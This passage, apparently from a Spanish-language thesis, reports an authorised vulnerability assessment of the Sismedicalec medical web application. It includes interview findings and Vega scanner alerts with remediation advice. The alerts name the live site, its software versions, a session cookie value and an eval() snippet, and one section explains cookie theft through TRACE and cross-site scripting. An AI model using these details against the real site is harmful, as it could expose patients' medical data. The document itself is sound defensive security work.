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Interpretacion y conclusiones de la entrevista numero dos realizada a

el gerente propietario de la empresa “Incomsis”

Pregunta numero 1:

Interpretacion de respuestas: El Ing. Adrian Figueroa, manifiesta que
efectivamente si se ha elaborado un control de calidad del software tomando en
cuenta los requerimientos del cliente que es un factor sumamente importante para
brindar un producto de calidad y eficiencia para lograr asi satisfacer sus mas altas
exigencias.

Conclusiones: Se ha elaborado un control de calidad de software para el Sistema
de Gestion Médica (Sismedicalec).

Pregunta niumero 2:

Interpretacion de respuestas: El entrevistado, expresa que en cuanto a la
funcionalidad del sistema no ha existido problemas al ingresar, ya que ellos se han
presentado por el mal servicio de conectividad que los proveedores de internetles
han brindado a sus clientes, por lo que se ha recomendado a los mismos migrar a
otros proveedores que les ofrezcan mas beneficios como una mejor conectividad y
rapidez en la navegacion web, y asi mejorar la experiencia de los usuarios.
Conclusiones: Actualmente no se conoce que los usuarios hayan tenido algun
problema al intentar ingresar al sistema web.

Pregunta niumero 3:

Interpretacion de respuestas: El Ing. Figueroa, expresa en su contestacion que
evidentemente el sistema Sismedicalec, tiene politicas de seguridad para las
contrasefias de los usuarios el mismo que consiste en crear una clase con un
minimo de caracteres establecido y que tenga una combinacién de ellos como
letras, nimeros y caracteres especiales, lo cual le brinda al usuario un cierto grado
de seguridad, pues de esa forma le seria al atacante mucho mas complejo poder
robar las contrasefias.

Conclusiones: El software web posee politicas de seguridad para la gestion de
contrasefias de usuarios, con ciertas especificaciones en los caracteres para esta-
blecerla.

Pregunta numero 4:

Interpretacion de respuestas: El Ing. Figueroa, manifiesta que esta totalmente
de acuerdo que en su empresa se lleve a cabo pruebas de penetracion al sistema
Sismedicalec, lo cual ofreceria diversas ventajas y una de las mas importantes es
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mantener de una forma segura y confiable el almacenamiento de informacion, por
medio del hallazgo y correccion de vulnerabilidades web que pueden o podrian
existir.

Conclusiones: EIl gerente de la empresa Incomsis, estd de acuerdo en que se
elabore un analisis de vulnerabilidades en el sistema web.

Pregunta niumero 5:

Interpretacion de respuestas: El Ing. entrevistado, expresa que efectivamente
esta de acuerdo en que se deben aplicar un conjunto de buenas préacticas para la
seguridad de la informacion en base a normas y estandares de calidad del producto,
lo que a su vez les brinde seguridad, confianza y satisfaccion a los clientes.
Conclusiones: Ing. Figueroa gerente, estd de acuerdo en la aplicacién de un
conjunto de buenas practicas para la confianza y satisfaccion de los clientes.

Pregunta niumero 6:

Interpretacion de respuestas: El Ing. Figueroa, expresa que el sistema
Sismedicalec, es un software que, por su corto tiempo de elaboracién, ain no se
han detectado casos de violacion de informacion que pongan en riesgo la seguridad
del usuario.

Conclusiones: Por el corto tiempo de creacién del sistema web en la actualidad
aln no se conocen de casos de manipulacién incorrecta de la informacién.

Pregunta niumero 7:

Interpretacion de respuestas: El sistema Sismedicalec, se encuentra en una fase
de evaluacion y correccion de errores generales para su posterior puesta en marcha,
por lo cual momentdneamente no se ha elaborado un proceso de soporte y
mantenimiento del sitio web.

Conclusiones: El sistema informatico, por el momento se encuentra en una eta-
pa de evaluacion y correccion de errores generales.

Pregunta niumero 8:

Interpretacion de respuestas: El Ing. Figueroa, expone que la empresa
INCOMIS, que todavia estdn en proceso de generacion de la documentacion
correspondiente al sistema web, pero que aln no se encuentra disponible para el
uso e instruccién de sus clientes.

Conclusiones: El sistema Sismedicalec, temporalmente no tiene disponible su
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documentacion, pero que la empresa se encuentra en proceso de desarrollo.

3.5. Desarrollo del Proyecto

Se presentara, a continuacion, una lista de actividades a llevar a cabo, en
referencia a los objetivos especificos, que permitird cumplir el objetivo general.
Realizar un estudio preliminar acerca de las tecnologias empleadas para
la creacion y utilizacion del sistema de gestion médica de la empresa
Incomsis.

= Analizar el medio en donde se han creado el sistema web.

= Comprobar los diferentes servidores en donde ha sido almacenada la
informacion de las aplicaciones web.

= Verificar los medios fisicos que estan disponibles para la seguridad del equipo
de computo y servidores, en el caso de que cuenten con ellos.

Identificar cuales son las principales amenazas encontradas, al momen- to
de realizar un andlisis de las vulnerabilidades de (Sismedicalec) sis- tema
de gestién médica.

» Establecer los diferentes tipos de ataques informaticos hacia un entorno web,
enfocado tanto en el cliente y el servidor.

= Analizar informacion archivada de los ataques mas habituales ejecutados en
las aplicaciones web en nuestro pais.

» Recopilar datos de los dafios mé&s comunes realizados en el Sistema de
Gestion Medica EC, de Incomsis.

= Precisar las tecnologias adecuadas y necesarias para realizar los ataques
cibernéticos necesarios para las aplicaciones web.

Definir las tecnologias utiles, para llevar a cabo los adecuados ataques
informaticos necesarios para el sistema de gestiéon médica EC.

= Realizar reuniones con el personal de interés para obtener previa autori-
zacién y poder ejecutar las pruebas en base a hacking ético al sistema de
gestion médica de Incomsis.

= Investigar las diversas herramientas que faciliten el llevar a cabo las pruebas
de penetracion (PenTesting).
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= Empezar con ataques informaticos mas habituales, previamente analizados e
ir avanzando hasta la realizacion de ataques con mayor riesgo y complejidad.

= Documentar los resultados de la ejecucion de las pruebas de penetracion.

Documentar los resultados obtenidos que indiquen las posibles solucio-
nes a las vulnerabilidades encontradas en el sistema Sismedicalec.

» Estudiar los datos obtenidos de la realizacion de las correspondientes
pruebas de penetracion en el sistema web.

= Averiguar cudles son las herramientas adecuadas de seguridad informatica
para reducir riesgos en el sistema web.

= Crear documentacion necesaria sobre los mejores procesos a seguir para
garantizar la seguridad informaética, indicando las posibles soluciones en
cada vulnerabilidad detectada.
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CAPITULO 4

Desarrollo de la propuesta

4.1. Antecedentes de la propuesta

Establecer seguridad de la informacion no es solo cuestion técnica, se debe
considerar a las personas, los procesos y funcionalidad de la naturaleza de los
datos, asi también como la proteccién de todos los recursos tanto 16gicos como
fisicos de una institucion.

Las aplicaciones web, deben cumplir con ciertos estdndares de seguridad que
permitan garantizar su adecuado funcionamiento, de manera que este disponible
cuando sea necesario, que existan garantias de que los datos de caracter sensible
sean procesados correctamente y que solo puedan acceder a ellos las personas
autorizadas.

Los usuarios de la expuesta aplicaciéon web Sistema de Gestion Médica
Sismedicalec, quienes son las principales personas de interés. Ademas de ellos, los
desarrolladores, como el personal que ofrece soporte al sistema web, son los mas
preocupados en que el aplicativo web posea un adecuado nivel optimo de
seguridad.

En base a lo expuesto, se propone elaborar un informe donde se documente los
resultados previamente obtenidos, indicando las posibles soluciones adecuadas
para cada vulnerabilidad informatica detectada en la aplicacion Sismedicalec, de
la empresa Incomsis, para lo cual se identifico las funcionalidades del aplicativo
web, también se analizo la seguridad de la informacion del mismo, mediante
ataques informaticos. Por ultimo se presentara un documento final que exponga
las posibles soluciones y recomendaciones para mejorar la seguridad de la
informacion del sistema web.
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4.2. Descripcion del Sistema Operativo y herramientas que usa el

servidor.

Sistema Operativo

Centos:distribucion mantenida por su
comunidad de usuarios que utiliza los ficheros
fuente liberados por Red Hat para su distribucion
empresarial conocida como Red Hat Enterprise
Linux (RHEL), lo que la hace ideal para
servidores por ser bastante estables [14].

Version
empresa-
rial

Version
ambiente
de
prueba
7

Tabla 4.1: Tabla de descripcion del sistema operativo CentOs 7
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Herramientas

PHP: El lenguaje PHP (cuyo nombre es
acronimo de PHP: Hipertext Preprocessor) es un
lenguaje interpretado con una sintaxis similar a
la de C++ 0 JAVA. Aunque el lenguaje se puede
usar para realizar cualquier tipo de programa, es
en la generacion dinamica de paginas web donde
ha alcanzado su méaxima popularidad. En
concreto, suele incluirse incrustado en paginas
HTML (o XHTML), siendo el servidor web el
encargado de ejecutarlo [15].

Version
Empresa-
rial

5.6

Version
ambiente
de
prueba
5.6

Apache: El servidor HTTP Apache es un
servidor HTTP de cédigo abierto para
plataformas Unix (BSD, GNU/Linux, etcétera),
Windows y otras, que implementa el protocolo
HTTP/4.3 y la nocion de sitio virtual. Cuando
comenzo su desarrollo en 1995 se basé
inicialmente en cédigo del popular NCSA HTTPd
4.3, pero mas tarde fue reescrito por completo. Su
nombre se debe a que originalmente Apache
consistia solamente en un conjunto de parches a
aplicar al servidor de NCSA. Era, en inglés, a
patchy server (un servidor "parcheado™) [16].

2.4

2.4

MySQL.: Es un sistema gestor de bases de datos
(SGBD, DBMS por sus siglas en inglés) muy
conocido y ampliamente usado por su simplicidad
y notable rendimiento. Aungue carece de algunas
caracteristicas avanzadas disponibles en otros
SGBD del mercado, es una opcion atractiva tanto
para aplicaciones comerciales, como de
entretenimiento precisamente por su facilidad de
uso y tiempo reducido de puesta en marcha [17].

5.6

5.6

Tabla 4.2: Cuadro comparativo del uso de herramientas para el almacenamiento

y funcionamiento del aplicativo web.

26




4.3. Documentacion de los resultados obtenidos y las posibles
soluciones a las vulnerabilidades encontradas en la aplicacion
Sismedicalec.

4.3.1. Herramienta Vega Scanner

Es un escaner de cddigo abierto y libre y una plataforma de prueba para probar la
seguridad de las aplicaciones web. Esta herramienta ayudar a encontrar y validar
SQL Injection, Cross-Site Scripting (XSS), revelo inadvertidamente informacién
confidencial y otras vulnerabilidades. Esta escrito en Java, basado en GUI, y se
ejecuta en Linux, OS X'y Windows [18].

VEGA incluye un escaner automatizado para pruebas rapidas y un proxy de
interceptacion para la inspeccion tactica. El escaner de VEGA encuentra XSS
(cross-site scripting), inyeccion de SQL y otras vulnerabilidades [19].

VEGA se puede ampliar usando una poderosa API en el lenguaje de la web:
escaner automatizado de rastreadores y vulnerabilidades, interfaz de usuario
coherente, crawler del sitio web, proxy de interceptacion, SSL MITM, analisis del
contenido, extensibilidad a través de un potente APl de modulo Javascript, alertas
personalizables, base de datos y modelo de datos compartidos. Para la
identificacion de las vulnerabilidades se utilizo el escaner VEGA de Linux, estas
pruebas se realizaron a 10 de los 13 servicios web que se encontraron activos. En
el escaner VEGA se introduce la Url de cada servicio web donde se identifican las
vulnerabilidades, cada escaneo duro mas de 48 horas [20].

Caracteristicas de Vega Escaner

Vega es una herramienta que cuenta con dos modos de operacion: escaner
automatico y proxy de interceptacion. El escaner automatizado fue el médulo
utilizado en el andlisis del SGD, éste rastrea automaticamente sitios web, extrae
enlaces, procesa formularios y ejecuta modulos en los posibles puntos de inyeccion
que descubre. Estos modulos pueden hacer cosas como probar scripts de sitios
cruzados (XSS) o inyeccion de SQL. Asi como algunas herramientas o escaneres
web, se tienen separadas las vulnerabilidades encontradas por categorias segun el
nivel de peligro, en rojo se encuentran las vulnerabilidades de alto riesgo, con
naranja las de medio riesgo, con verde las vulnerabilidades que son de bajo riesgo
y con azul la informacion que ha surgido del analisis [19].
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Modo Escaneo

El mismo esta basado en un estudio de seguridad en el modo escaneo. En este
modo, el programa descarga y rastrea la pagina web que deseemos, con el objetivo
de encontrar posibles puntos de fallo. Para encontrar estos puntos de fallo utiliza
modulos ampliamente conocidos como por ejemplo Cross Site Scripting (XSS),
SQL Injection, Directorio transversal, Url Injection, Deteccidon de errores, etc.
Dentro de este modo, existen diferentes pardmetros configurables explicados en:
- Numero total de paths descendentes. - NUmero total de paths hijos de un modo
concreto: Limita el numero méximo de hijos escaneados en un nodo determinado.
- NUmero maximo de subpaths escaneados: Limita el nimero de paths escaneados
en la jerarquia de la pagina. - Niamero maximo de escaneos a paths repetidos.
-Longitud maxima de los resultados generados: El usuario puede configurar el
nivel de detalle en los resultados obtenidos. - Ndmero maximo de escaneos por
segundo [21].

» Las iméagenes que se presentan en el capitulo cuatro y los anexos
A,B,C,D,E y F son creadas por el investigador para el presente
proyecto.

Pasos para iniciar y usar el escaner VEGA.

Para lanzar un escaneo por defecto simplemente se debe pinchar en el icono de
"New Scan".

® Subgraph Vega - o x
File Scan Window Help

Q @ Scanner 8 Prowy
€ Website View ® 3 = 0|/ @ scan Info =0

Scan Alert Summary

© Scan Alents

o © & ©

Figura 4.1: Interfaz de inicio de Vega Scan

Segun la figura 4.1: Muestra la interfaz de inicio de la herramienta VEGA, misma
gue contiene 3 ventanas con opciones diferentes la una es Website View, que es
en donde muestra la URL que se esta analizando, también estd la opcion Scan
Alerts que muestra las vulnerabilidades encontradas segun el riesgo de cada

28



una, y Scan Alert Summary que muestra el resumen de el proceso final cuando ha
terminado de ejecutar la herramienta el debido andlisis o muestra segin su
categoria y riesgo.

@ subgraph Vega - o %
File Scan Window Help

Start New Scan CtrisN © scanner 8 Prowy
@ Edit Target Scope CtleE |
- — ~— - -

Scan Alert Summary

@ Scan Alents

@ © © ©

Figura 4.2: Interfaz de inicio de Vega Scan, donde se tiene que escoger “Start New
Scan”

Segun se observa figura 4.2 muestra la pantalla de inicio de Vega al hacer clic
sobre la opcidon Scan, que a su vez tiene dos funcionalidades Start New Scan,
permite iniciar el analisis de vulnerabilidades al escribir el objetivo especifico y
Edit Target Scope que permite editar el objetivo a analizar en el caso que hubiese
algan error en la URL.
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® O X

Select o Scan Target @VEG A

Enter a target URI

Scan Target

(®) Enter a base URI for scan:

| Enter URI to scan

() Choose a target scope for scan

Default Scope Edit Scopes

Web Model

Include previously discovered paths from Web model

< Back Mext = Finish Cancel

Figura 4.3: Interfaz que indica la opcion para empezar un nuevo escaner de
vulnerabilidades a analizar.

Como se observa la figura 4.3: muestra la ventana de la opcion “Start New Scan”,

donde esta seleccionado por defecto la eleccion de Enter a base URI for scan, donde
se colaca la URL, del sitio web que se desea analizar.
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@ o X
Select a Scan Target
Choose a target for new scan VEGA

Scan Target
(®) Enter a base URI for scan:

https://www.sismedicalec.com

(L) Choose a target scope for scan

Default Scope dit Scopes

Web Model
Include pre Usly discovere sths from Wel

ot ol |

Figura 4.4: Interfaz donde se debe colorar la opcion “Enter a base URI for scan”
y se debe colocar la Url del sistema web que se va a analizar.

En la figura 4.4: Muestra la ventana donde se coloca el URL objetivo a analizar si
es correcta se procede a finalizar la opcion Scan Target para gque inicie el analisis
correspondiente.

Las demas opciones deben quedar por defecto y finalmente se hace un clic en
"Finish". Una vez que inicia el proceso de analisis automaticamente comenzara el
escaneo. Una vez finalice el proceso de escaneo, se obtendra un reporte con los
resultados de la prueba. En la pantalla principal de aplicaciones se puede ver un
resumen de las vulnerabilidades obtenidas. En la ventana llamada "Scan Alerts" es
posible encontrar un analisis detallado de las vulnerabilidades.
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File Scan Window Help

QO 4 © Scanner 8 Proxy
@& Website View = 0@ Scan Info =m)
® & B E
sl Scan Alert Summary
& www.sismedicalec.com ~
@
g @ High (2 found)
@ Session Cookie Without Secure Flag 1
@ Session Cookie Without HttpOnly Flag 1
g © Medium (6found)
@ Client Ciphersuite Preference 1
@ HTTP Trace Support Detected 1
- Local Filesystem Paths Found 2
= Possible Source Code Disclosure 2
(@ Scan Alerts ® = "8
v @ 04/22/2019 11:34:37 [Completed] (81) O Low (56 found)
v @ https//www.sismedicalec.com (81) Form Password Field with Autocomplete Enabled 1
@ High @ Directory Listing Detected 55
© Medium (6)
© Low o) © Info (17 found)
@ nfo(17) Self-Signed Certificate 1
Blank Body Detected 2
Possible AJAX code detected 1
HTTP Error Detected 1"
Character Set Not Specified 2
v

Figura 4.5: Esta interfaz muestra cuando el analisis del sistema web ha finalizado.

En la presente figura 4.5: Indica una pantalla la misma que presenta el analisis de
alertas, la cantidad de las mismas segun su nivel de riesgo que en este caso es
Alto, Medio, Bajo y tipo Informacién, en la parte de “Scan Alert Summary”
muestra un resumen de cada una de las vulnerabilidades detectadas.

Resultados del escaneo del sistema web con la herramienta VEGA.
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File Scan  Window Help

RO &
& website View ® S HE -0
@ www.sismedicalec.com ~
@
@
@
@
@
@
@
@
@
@ .
@Scannlert: 5 EF =8

v (&) 04/22/2019 11:34:37 [Completed] (81)
v @ https:/fwww.sismedicalec.com (81)

~ {f High (2
% Session Cookie Without HitpOnly Flag (1)
% Session Cookie Without Secure Flag (/)

v () Medium (6)
% Client Ciphersuite Preference (https://www.sismedicalec.com)
% HTTP Trace Support Detected (Apache/2.4.39 (codeit) OpenS5L/1.1.10 PHP/5.6.40)
=% Local Filesystern Paths Found (2)
= Poszible Source Code Disclosure (2)

v [ Low (36)
=% Directory Listing Detected (55)
=% Form Password Field with Autocomplete Enabled (/)

v ) Info (17)
=% Blank Body Detected (2)
=% Character Set Mot Specified (2)
= HTTP Error Detected (11)
% Possible AJAX code detected (/css/bootstrap-daterangepicker/dermo.html)
L]

Self-Signed Certificate (https:/fwww.sismedicalec.com)

Figura 4.6: Interfaz de VVega Scan, muestra a detalle todas las alertas que emitio
luego del escaner de vulnerabilidades.

Segun la figura 4.6: Indica la ventana Scan Alerts, la misma que presenta la fecha
y hora de el analisis de alertas que son presentadas segun su nivel de riesgo, con un
color diferente para poder diferenciarlas, el color rojo es asignado para las alertas
de alto riesgo, el color naranja para las de riesgo medio, el color verde para las de
riesgo bajo y el color azul es para las de tipo informativas.

Resultados del analisis web del sistema Sismedicalec, presentados
segun su grado de peligrosidad.

Vulnerabilidades de Altoriesgo

- Session Cookie Without HttpOnly Flag
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Figura 4.7: Muestra alerta, Session Cookie Without HttpOnly Flag

Segun la figura 4.7: Presenta la primera alerta detectada en el nivel de riesgo alto,
que es Session Cookie Without HttpOnly Flag y el resumen de dicha alerta que
contiene también un contenido del recurso, la discusion y recomendacion para
corregir esta vulnerabilidad.

Contenido del recurso

PHPSESSID=83r43u3jra3j2ukfof31km3ve4; path=/

Discusion

Vega ha detectado que una cookie de sesion puede haberse configurado sin la
marca HttpOnly. Cuando este indicador no esta presente, es posible acceder a la
cookie a través del cédigo de script del lado del cliente. La bandera HttpOnly es
una medida de seguridad que puede ayudar a mitigar el riesgo de ataques de
scripts entre sitios que se dirigen a las cookies de sesion de la victima. Si se
establece la marca HttpOnly y el navegador admite esta funcion, el cédigo de
secuencia de comandos provisto por el atacante no podra acceder a la cookie.
Recomendacion

Al crear la cookie en el cédigo, establezca la marca HttpOnly en verdadero.

- Session Cookie Without Secure Flag
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Figura 4.8: Muestra la alerta, Session Cookie Without Secure Flag

En la presente figura 4.8: Indica la ventana Scan Alerts en la parte izquierda con
la alerta detectada “Session Cookie Without Secure Flag”, el resumen de la misma
incluido el contenido del recurso, la discusion de la alerta, impacto y su respectiva
recomendacion para corregir la vulnerabilidad.

Contenido de recurso

PHPSESSID=83r43u3jra3j2ukfof31km3ve4; path=/

Discusion

Vega ha detectado que una cookie de sesién conocida, puede haberse configurado
sin el indicador de seguridad.

Impacto

Las cookies pueden estar expuestas a escuchas ilegales de la red. Las cookies de
sesion son credenciales de autenticacion; los atacantes que los obtienen pueden
obtener acceso no autorizado a las aplicaciones web afectadas

Recomendacién

Al crear la cookie en el codigo, establezca el indicador de seguridad en verdadero.

Vulnerabilidades de Riesgo Medio

- Client Ciphersuite Preference
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Figura 4.9: Muestra la alerta Client Ciphersuite Preference

Segun la figura 4.9: Muestra la alerta de riesgo medio “Client Ciphersuite
Preference”, con su respectiva discusion, impacto y recomendacion para COrregir
dicha vulnerabilidad.

Discusion

El servidor puede anular la priorizacion del conjunto de cifrado del cliente durante
el protocolo de enlace TLS. Esto es util para hacer cumplir conjuntos de cifrados
mejores y mas seguros para todos los clientes visitantes. Vega ha detectado que
esto no esta configurado en el servidor, lo que potencialmente deja a los clientes
mas antiguos en riesgo.

Impacto

Los navegadores de los usuarios pueden seleccionar suites de cifrado menos seguras
y crear oportunidades de ataque.

Recomendacién

El servidor HTTPS debe configurarse para imponer las preferencias del conjunto
de cifrado del servidor. Cémo se configura esto variara segun el servidor.

- HTTP Trace Support Detected
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Figura 4.10: Muestra la alerta HTTP Trace Support Detected

Como esta en la figura 4.10: Indica la alerta “ HTTP Trace Support Detected” con
nivel de riesgo medio, incluye un resumen de la vulnerabilidad con su respectivo
contenido del recurso detectado, discusion, impacto y recomendacion para
encontrar una posible solucién.

Contenido de recurso

TRACE / HTTP/1.1

SQUEEM1SH: OSS1FRAGE

Accept-Encoding: gzip,deflate

Host: www.sismedicalec.com

Connection: Keep-Alive

User-Agent: UserAgent

Cookie: PHPSESSID=83r43u3jra3j2ukfof31km3ved

Cookie2: $Version=1

Discusion

HTTP TRACE es un método HTTP que solicita que el servidor devuelva la
solicitud TRACE al cliente. Esto incluye los encabezados que se enviaron junto
con la solicitud. Se puede abusar del soporte para HTTP TRACE en escenarios
donde se ha encontrado una vulnerabilidad de secuencias de comandos entre sitios,
pero no se puede aprovechar para recuperar valores de cookies porque las cookies
de destino se configuran con el indicador HttpOnly. La bandera HttpOnly indica a
los navegadores que no permitan el acceso a la cookie con Javascript. Si se
encuentra una vulnerabilidad de secuencias de comandos entre sitios, pero la
cookie de sesion esta configurada como HttpOnly, el soporte para HTTP TRACE
abrira una oportunidad para el robo de cookies. Un atacante puede usar la
vulnerabilidad de los scripts entre sitios para que el navegador del usuario de
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destino emita una solicitud TRACE al servidor a través de XMLHttpRequest (o
una funcion similar) y luego recupere la cookie de la respuesta, que contendra la
solicitud que fue enviada por navegador, incluidas las cookies.

Impacto

Permitir HTTP TRACE puede permitir el rastreo entre sitios. Los atacantes pueden
usar el rastreo entre sitios con scripts entre sitios para recuperar el valor de las
cookies de HttpOnly

Recomendacion

Para servidores basados en Apache, la directiva TraceEnable se puede usar para
deshabilitar el soporte para HTTP TRACE. Para los servidores basados en IIS, la
configuracion del registro EnableTraceMethod controla la compatibilidad con
HTTP TRACE.

- Local Filesystem Paths Found
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Figura 4.11: Muestra la alerta Local Filesystem Paths Found

Enlafigura4.11: Presenta la alerta en el nivel de riesgo medio, “Local Filesystem
Paths Found”, incluye el respectivo resumen con una solicitud, un contenido de
recurso, la discusion, impacto y también las respectivas correcciones a tomar en
cuenta para buscar corregir la vulnerabilidad.

Contenido del recurso

/media/items/

Discusion

Vega ha detectado una posible ruta absoluta del sistema de archivos (es decir, una
gue no es relativa a la raiz web). Esta informacién es confidencial, ya que puede
revelar cosas sobre el entorno del servidor a un atacante. Conocer el disefio
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del sistema de archivos puede aumentar las posibilidades de éxito de los ataques
ciegos. Las rutas completas del sistema se encuentran muy a menudo en la salida
de error Esta salida nunca debe enviarse a clientes en sistemas de produccion. Debe
ser redirigido a otro canal de salida (como un registro de errores) para que lo
analicen los desarrolladores y administradores del sistema.

Impacto

Vega ha detectado lo que pueden ser rutas de acceso absolutas del sistema de
archivos en el contenido escaneado. La divulgacién de estas rutas revela
informacion sobre el disefio del sistema de archivos. Esta informacién puede ser
confidencial, su divulgacion puede aumentar las posibilidades de éxito para otros
ataques

Recomendacién

Las rutas absolutas se encuentran a menudo en la salida de error. Tanto los
administradores del sistema como los desarrolladores deben ser informados, ya que
el problema puede deberse a un error de la aplicacion o una mala configuracion
del servidor. La salida de error que contiene informacion confidencial, como las
rutas de acceso absolutas del sistema, no debe enviarse a clientes remotos en
servidores de produccion. Esta salida debe enviarse a otra secuencia de salida,
como un registro de errores.

- Possible Source Code Disclosure
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Figura 4.12: Muestra alerta Possible Source Code Disclosure

Segun la figura 4.12: Muestra la altima alerta de riesgo medio, “ Possible Source
Code Disclosure”, incluyendo una solicitud, un contenido recurso, una discusion
de la vulnerabilidad, el impacto que tiene la mismay las recomendaciones a seguir.
Contenido del recurso

39



Possible ASP or JSP code: < %= pkg.version %>

Discusion

Vega ha detectado fragmentos de texto que coinciden con las firmas del codigo
fuente de la aplicacion. El cadigo fuente de la aplicacion no visible para los clientes
remotos puede ser una vulnerabilidad de seguridad. Esto puede ocurrir en
aplicaciones que utilizan tecnologias como PHP y JSP, que permiten que el codigo
se mezcle con el contenido de la presentacion estatica. Por ejemplo, el codigo en
linea a veces se comenta utilizando comentarios HTML, lo que da como resultado
que se transmita a clientes remotos. Para un atacante, el codigo fuente puede
revelar informacion sobre la naturaleza de la aplicacién, como su disefio o el uso
de componentes de terceros. En ocasiones, la informacién confidencial, como una
cadena de conexion a la base de datos, puede incluirse en el cédigo fuente.
Impacto

Podria dar lugar a la divulgacion de informacién sensible a los atacantes. Los
fragmentos del codigo fuente pueden incluir informacién sobre el disefio /
estructura de la aplicacién, incluido el uso de componentes de terceros. Esta
informacion no puede ser facilmente conocida por un adversario. A veces, el codigo
fuente también contiene informacién altamente confidencial, como contrasefias
(cadenas de conexién de base de datos).

Recomendacion

El desarrollador debe verificar que la salida detectada por VVega sea en realidad el
codigo fuente de la aplicacion. Se debe determinar la causa y eliminar o impedir
que el material salga.

Vulnerabilidades de Riesgo Bajo

- Directory Listing Detected
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Figura 4.13: Muestra alerta Directory Listing Detected

Enla figura 4.13: Presenta un nuevo nivel de riesgo que este caso es bajo, con
la alerta “Directory Listing Detected”, que contiene una solicitud, contenido del
recurso, discusion de la alerta, el impacto que causa Yy sus respectivas
recomendaciones a tomar en cuenta.

Contenido del recurso

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of fcss</title>
</head>
<body>
<h1>Index of /css</hl>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="2C=N;0=D">Name</a></th><th><a href="2C=M
<tr><th co...

Figura 4.14: Contenido grafico de Resource Content

Como indica figura 4.19: Presenta a detalle el cddigo html en el contenido del
recurso de la alerta “Directory Listing Detected”.

Discusion

Listado de contenidos del directorio cuando no hay ningun archivo de indice
presente en una configuracion errénea comun. El contenido del directorio puede
proporcionar informacion atil a un atacante, especialmente si hay archivos que no
estan destinados a ser accesibles, como el codigo fuente o las copias de seguridad.
La lista de directorios también puede proporcionar informacién atil sobre los
habitos de la administracion del servidor y / o los desarrolladores web, como la
convencion de nomenclatura de archivos, que podria utilizarse para aumentar el
éxito probable de la fuerza bruta u otros ataques.

Impacto

El servidor estad generando el contenido de los directorios. Esto podria exponer
archivos no destinados a la recuperacion del usuario (archivos htaccess antiguos,
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copias de seguridad, codigo fuente). La lista de directorios también puede
proporcionar informacion atil sobre el disefio y las caracteristicas del sistema,
como las convenciones de denominacion utilizadas por los desarrolladores y
administradores. Esta informacion puede aumentar la probabilidad de éxito para
ataques ciegos y adivinanzas de fuerza bruta.

Recomendacion

Para Apache, realice una de las siguientes acciones: agregue "Indexignore *" al
archivo .htaccess del directorio, o bien elimine "indices" de la "Options All Indexes
FollowSymL.inks MultiViews” en su archivo de configuracién de Apache. Para
a "dir-listing.activate =" disable

lighttpd, cambie "dir-listing.activate =" enable
""" en su archivo de configuracion lighttpd.
- Form Password Field with Autocomplete Enabled
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Figura 4.15: Muestra alerta Form Password Field with Autocomplete Enabled

En la figura 4.15: Muestra en el riesgo bajo la alerta “Form Password Field with
Autocomplete Enabled”, con su respectiva solicitud, discusion de la misma y
también las recomendaciones a seguir.

Discusion

Vega detect6 un formulario que incluia un campo de entrada de contrasefia.  El
atributo autocompletar no se desactivo. Esto puede hacer que algunos navegadores
almacenen valores ingresados por los usuarios localmente, donde pueden ser
recuperados por terceros.

Impacto

Un valor de contrasefia se puede almacenar en el sistema de archivos local del
cliente. Las contrasefias almacenadas localmente pueden ser recuperadas por otros
usuarios o codigo malicioso.
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Recomendacion
La declaracion de formulario debe tener un atributo de autocompletado con su
valor establecido en "off".

Informacion que arrojo como resultado del andlisis al aplicativo web

- Blank Body Detected
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Figura 4.16: Muestra de informacion Blank Body Detected

Segun la figura 4.16: Presenta el nivel de tipo informacion, “Blank Body
Detected”, y un resumen donde detalla la solicitud, la discusion respectiva, el
impacto y las recomendaciones a tomar en cuenta.

Solicitud

GET /css/bootstrap-daterangepicker/example/browserify/bundle.js

Discusion

Vega ha detectado que la solicitud de este URI devolvid un cuerpo de respuesta
en blanco.

Impacto

Esto puede ser indicativo de una condicién de error y debe investigarse
manualmente.

Recomendacion

El desarrollador debe investigar por qué ocurrio esto y si existen implicaciones
de seguridad.

- Character Set Not Specified
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Figura 4.17: Muestra de informacion Character Set Not Specified

En la figura 4.17: Indica la opciéon “Character Set Not Specified”, de tipo
informacion con su respectivo contenido del recurso, discusion y recomendaciones
a seguir, en esta seccién no presenta el impacto como en las alertas antes expuestas.
Contenido del recurso

/css/bootstrap/nuget/bootstrap.less.nuspec

Discusion

Vega ha detectado que el recurso no ha especificado un conjunto de caracteres en
la respuesta. Si no se especifica el conjunto de caracteres, el navegador puede hacer
suposiciones sobre el conjunto de caracteres en funcion del contenido del recurso.
Esto puede presentar un problema de seguridad si el recurso afectado contiene
contenido generado dindmicamente que se origina de los usuarios. En tal caso, los
usuarios malintencionados pueden aprovechar la forma en que los navegadores
especificos interpretan los caracteres para provocar la representacion del contenido
malicioso. Por ejemplo, un atacante puede omitir un filtro de scripts entre sitios al
codificar su carga maliciosa en un conjunto de caracteres alternativo, que puede
ejecutarse segun la forma en que el navegador interpreta el contenido codificado.
Recomendacion

Especifique un conjunto de caracteres bien definido (como UTF-8) dentro del tipo
de contenido del encabezado de respuesta o el cuerpo de la respuesta.

- HTTP Error Detected

Como muestra figura 4.18: Presenta la opcion de tipo informacion, “HTTP Error
Detected”, un resumen con el contenido del recurso, su discusion, impacto y las
recomendaciones a tomar en cuenta.
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Figura 4.18: Figura que muestra la opcién HTTP Error Detected

Contenido del Recurso

<title>403 Forbidden</title>

Discusion:

Una solicitud que Vega ha enviado ha dado como resultado una respuesta HTTP
con un cédigo de estado de error. Esto debe investigarse inspeccionando tanto la
solicitud como la respuesta.

Impacto:

El cédigo de estado de error indica un evento no identificado en el servidor que
puede estar asociado con una vulnerabilidad o un problema de configuracién.
Recomendacion:

El desarrollador debe investigar cbmo o por qué ocurrio este error y asegurarse
de que no haya ninguna vulnerabilidad presente.

- Possible AJAX code detected
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= Character Set Not Specified (2) §('#config-text') .keyup (function() {
P eval (§ (this) .val()): v
% HTTP Error Detected (11) :
=% Possible AJAX code detected (/css/bootstray|
2 Self-Signed Certificate (https://www.sismed| | 8 Identities % 3 -0

Figura 4.19: Muestra de informacion Possible AJAX code detected

Segun la figura 4.19: Muestra la opcion de “Possible AJAX code detected”, de
tipo informativo, con su correspondiente resumen que incluye una solicitud, conte-
nido del recurso, Discusion, impacto que causa y sus respectivas recomendaciones
necesarias para dar una posible solucién.

Contenido del recurso

$(document).ready(function() {

$("#config-text”).keyup(function() {

eval($(this).val());

b

$(’.configurator input, .configurator select’).change(f...)

